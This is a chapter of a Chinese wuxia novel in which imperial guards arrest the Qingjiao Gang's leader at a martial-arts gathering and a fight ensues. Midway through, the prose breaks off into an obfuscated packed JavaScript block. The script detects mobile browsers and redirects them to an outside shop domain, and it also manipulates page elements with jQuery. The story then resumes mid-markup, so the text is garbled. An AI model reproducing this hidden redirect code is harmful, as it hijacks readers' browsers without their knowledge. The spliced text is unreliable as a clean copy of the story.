寅时三刻的玉芝山,晓星欲灭,白日里丰姿绰然的山水树木只剩奇诡幽深的暗影。初春料峭的寒气在杏花枝头上凝结成一层白霜,好似下了一场雪。
玉芝山是璇玑书院的地界,现下各大门派汇聚在此,皆为了过几日的武林大会。前任武林盟主三个月前宣布卸任,江湖群龙无首,急需一位能服众的新领袖。
周潮将信纸放在烛火下点燃,将将烧尽时屋外忽然传来一阵急促的脚步声:“帮主,不好了!咱们院外围了一群来路不明之人,指名要见您!”
男人心头一跳,匆忙披衣出门,同时内力聚于耳目,探清院外和野林中有不下五十人潜行暗动之声,应是来者不善。
玉芝山有五座峰,按青蛟帮如今的地位是轮不到主峰的,只能屈居在天璇峰山脚。周围没有名门正派,此刻即便听到什么动静,恐怕也只会闭门不出,隔岸观火。
“把所有人都叫出来。”他回头吩咐了那名守夜弟子,才放慢脚步踱了出去。
院外众人皆是整齐划一的玄衣银面,腰间配精钢环首刀,呈扇形拱卫着最前方一名身材瘦小的黑衣人。面具完全遮盖住那人的脸,火光射过,额心的獬豸雕纹隐有兽影浮动。
“青蛟帮帮主周潮,跟我们走一趟吧。”
听声音竟是个年轻女子,周潮微微一愣,旋即仔细端详她右手的虎口,果然见到一层厚茧,只怕不是高手也是熟手。但他执掌青蛟帮数十年,怎会随随便便被朝廷鹰犬吓破胆,所以只是略一拱身:
“大人这是何意?青蛟帮虽不是什么名门大派,却也奉公守法不曾以武犯禁,何事劳烦宸卫司大驾?”
“你既认得出宸卫司,也不算冤枉。”
“大人说笑了,宸卫司乃天子眼线,谁人不知谁人不晓?”
女子冷哼一声从怀中摸出一卷素绢,手腕一抖,绢帛“唰”的一声展落,露出一张粗糙画像。
“此人从北朔来,一路乔装打扮不与人接触,很有可能是朔国的探子。一个时辰前,他身着夜行衣潜入贵帮,听说由帮主您亲自接待,不知你们二人所谈何事?”
周潮摇头:“周某早已睡下多时,从未见过此人。”
“是吗?”领头女子冷冷一笑,侧身一步,露出被重重暗卫裹在中间的人,“令郎可不是这么说的。”
男人脸色骤变。
人群中的青年似乎被谁推了一把,趔趄到火光下,神情讪讪的,目光在父亲脸上一触便仓皇避开,只敢盯着自己的鞋尖。
“……爹。”
“你都乱说了什么?!”
青年被这声厉喝震得肩头一颤,下意识往后缩了半步,脊背却抵上一把坚硬的刀鞘。身后的几名暗卫纹丝不动,甚至没有低头看他一眼,却有种冰冷沉重的压迫感。
他在这进退两难中沉默了几秒,终于握紧拳头,哑声道:
“……姑姑随太上皇被困朔国已有十余载,咱们青蛟帮虽不似过往昌盛,也能自食其力,何苦为了几句虚无缥缈的承诺,搭上身家性命呢?”
二十年前,青蛟帮帮主的掌上明珠周莲被微服私访的太上皇楚熠看中,入宫封妃荣宠有加,青蛟帮也跟着鸡犬升天,掌握了苏湖一带的盐运生意。彼时青蛟帮风头无两,连少林武当都要逊色几分。
然而十五年前楚熠大举北伐,御驾亲征渡江而战,急功冒进,一步步陷入朔国包围,于撤退之际中伏,一国之君被生擒,是为襄国的奇耻大辱。
而后先帝幼子楚赢即位,魏太后垂帘听政。十五年间,襄国休养生息未动一兵一卒,太上皇一脉的主战派日渐式微,青蛟帮自然也没了往日风光。他们本也不是靠武艺见长,没了楚熠这棵大树,想要东山再起简直是痴人说梦。
“逆子休得胡言!”周潮额角青筋直跳,欲要发作又硬生生压了回去,“大人明鉴,犬子因我续娶一事与我素有积怨,所言不可轻信!”
“你们的家务事我不感兴趣。”领头的女子右手放至刀柄,是拔刀的姿势,“我只负责拿人,你若配合方能少吃些苦头。”
仿佛收到了某种信号,她身侧的暗卫们不约而同地扣住刀柄,脚步微微错开,无声无息便成了合围之势。
周潮心知多说无益,事已至此,也唯有置之死地而后生:
“还不动手!”
这声暴喝令青蛟帮的弟子们如梦初醒,纷纷抽刀迎战。刀光乍起,周潮已欺身而上,他虽非武学宗师,但执掌帮派数十年,刀法已足够纯熟。
然而对方不退反进,环首刀斜斜撩起,以刁钻的角度架开来势,顺着他的刀脊一路滑下,腕子一翻,刀尖已如毒蛇吐信般点向他肋下软处。周潮没想到这女子年纪轻轻,出手却老辣至极,全然没有江湖比武的试探,刀刀都奔着要害,后背不由沁出冷汗。
不过十余招,他已渐感不支。青蛟帮的刀法刚猛有余而变化不足,对上高手,破绽便如筛子一般错漏百出。
“帮主退后!”
一声高喝从身后传来,与此同时,十余名弟子悄然变阵,各自从腰间解下一团乌沉沉的物事,手腕一扬,数张大网当空展开,如蛛网般向暗卫们兜头罩下。
那网乍看是寻常渔网,落在身上才知不对——网绳是浸过桐油的蛟筋所制,韧如牛皮,越挣越紧。网眼之间还缀着倒刺铁钩,稍一动作便嵌入衣料皮肉之中。
青蛟帮起家靠的就是这“蛟丝困龙阵”,在江河湖泊上无往不利。虽然在陆上施展威力打了折扣,却能让人一时半会儿无法脱身。他们很聪明,不与这帮暗卫正面交锋,只管拽着网绳游走,时不时用刀在网眼间刺上一记。
但宸卫司毕竟训练有素,短暂的慌乱后,几名未被困住的暗卫立刻回援,环首刀锋利无比,几下便将蛟筋网割开数道口子。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211072|197389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>那领头的女子却不曾被网住,她身法极快,在网阵张开的一瞬便已掠至周潮身前,刀锋直逼咽喉。
周潮仓促格挡,右手虎口被震得发麻。他知道再缠斗下去必输无疑,左手猛然扯断腰间一枚竹筒的封塞,一团浓黑的烟雾顿时喷涌而出,呛得人涕泪横流。
趁众人慌乱之际,他翻墙掠入后院马厩,扯缰上马一气呵成。才纵马冲出几十丈,忽然远远望见一个白衣身影向此处走来。
那人没戴宸卫司的面具,年纪应该还很轻,约莫弱冠之龄,姿容之俊美却世所罕见——
如碧落孤悬月,似瑶岭千秋雪,不应为尘世中人。
白衣人看上去走得并不快,但转瞬就来到他面前。胯下骏马忽然悲嘶一声,前蹄发软,竟不肯再挪动半步。
下一秒,他撞进一双狭长凤目,只一眼,周潮便觉得自己从头到脚都被雪水灌透了——那双眼里没有杀意,甚至没有情绪,不似在看一个活人。
他本能挥刀防卫,白衣人却只漫不经心地伸出右手两指,以迅雷不及掩耳之势夹住刀身,“咔嚓”一声脆响,精钢竟如枯枝般折断!
断刃尚未落地,五指已成爪袭来,他只来得及侧头,便觉肩上一痛,竟是被活生生连皮带肉地折断了琵琶骨!
“啊!”
周潮惨叫一声摔下马背,左手死死压住断骨处,冷汗涔涔。痛入骨髓之际,神智反倒愈发清明——
这白衣人之所以不戴面具,恐怕是笃定他插翅难逃。
“大人!”
追上来的玄衣女子一见来人立即收刀,语调里难掩惊喜,连脚步都变得轻盈了几分,像只飞回主人掌心的雀鸟:“您怎么来了?”
青年对她的欣喜无动于衷,兀自拿出一方帕子仔细擦拭手上血迹:“我若不来,你险些误了大事。”
那声音宛如敲金击玉,霎是动听,却好像将她身上股轻盈劲儿抽走了,连脊背都不易察觉地塌陷几分:“……属下知罪。”
“回去自己领罚。”他扔掉帕子,意兴阑珊地看向地上蜷成一团的周潮,“先就近审问吧。武林大会之后,我亲自押送他回京。”
“是。”
她抬手,几名暗卫立刻上前将周潮拖走。待那痛呼呻吟声渐远,四周重归寂静,只剩他们二人立于夜色将褪的山院中。
微风裹着杏花香气拂过,枝头的霜露欲坠不坠。女子踟蹰着似乎有话想说,恰在此时,一名年纪不大的青衣小厮追着一条大黑狗匆匆从山道上跑来。她指尖一紧,环首刀已拔出寸许,却见青年微不可察地摇了摇头,于是重新收刀站定。
那小厮不过十五六岁的年纪,乍见路中站着个黑衣银面的古怪人物,心里多少有些发怵,但见自家主子安然立在不远处,才似吃了颗定心丸,气喘吁吁地跑上前禀报:
“少主,小姐和孟家公子去峰顶看日出了!”